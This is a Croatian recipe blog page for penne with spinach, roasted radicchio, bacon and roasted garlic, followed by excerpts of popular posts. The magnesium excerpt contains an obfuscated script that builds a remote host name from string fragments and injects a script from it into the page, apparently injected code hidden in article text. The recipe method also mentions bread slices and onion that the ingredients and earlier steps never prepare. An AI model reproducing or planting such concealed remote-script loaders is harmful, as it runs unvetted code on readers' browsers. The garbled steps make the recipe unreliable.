PENNE SA ŠPINATOM, RADIČEM I SLANINOM




Penne sa špinatom, radičem i slaninom 



Ovo jelo spaja blagu gorčinu radiča, svježinu špinata i bogat okus hrskave slanine.




Penne sa špinatom, radičem i slaninom 


Sastojci:

Glavica češnjaka 
Glavica luka 
300 do 400 g tjestenine 
Manja glavica radiča narezana i pečena 
6 do 8 šnita slanine 
300 do 400 g špinata 
Šalica pilećeg temeljca 
Maslinovo ulje 
Pola šalice svježe naribanog parmezana 
Žlica paprike za posipanje 




Priprema:

Pećnicu zagrijte na 170 stupnjeva.

Opranu glavicu radiča razrežite na ploške, začinite acetom i maslinovim uljem pa složite radič na lim koji ste obložiti masnim papirom.

Pecite ga 10 minuta, preokrenite listove pa pecite još pet minuta s druge strane.

Odrežite samo vrh gornju kapicu glavice češnjaka, ali neka ostane u komadu i neoguljen.

Zamotajte ga u aluminijsku foliju pa pecite u pećnici oko 40 minuta na 180 stupnjeva.

Kad je pečen pustite neka se malo ohladi pa iz ljuski istisnite češnjak koji se pretvorio u slatku pastu.

Zapecite ploške slanine dok ne pusti masnoću pa dodajte ploške kruha.

Pustite neka se peku 10 minuta.

Za to vrijeme skuhajte penne prema uputama na vrećici pazeći da ostanu al dente.

Luku i slanini dodajte pastu od češnjaka.

Promiješajte, podlijte temeljcem pa dodajte penne.

Sve dobro promiješajte i dodajte špinat i radič.

Poklopite i pustite da krčka samo pet minuta dok radič i špinat ne uvenu.

Otklopite, pospite sirom i začinite maslinovim uljem.




Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više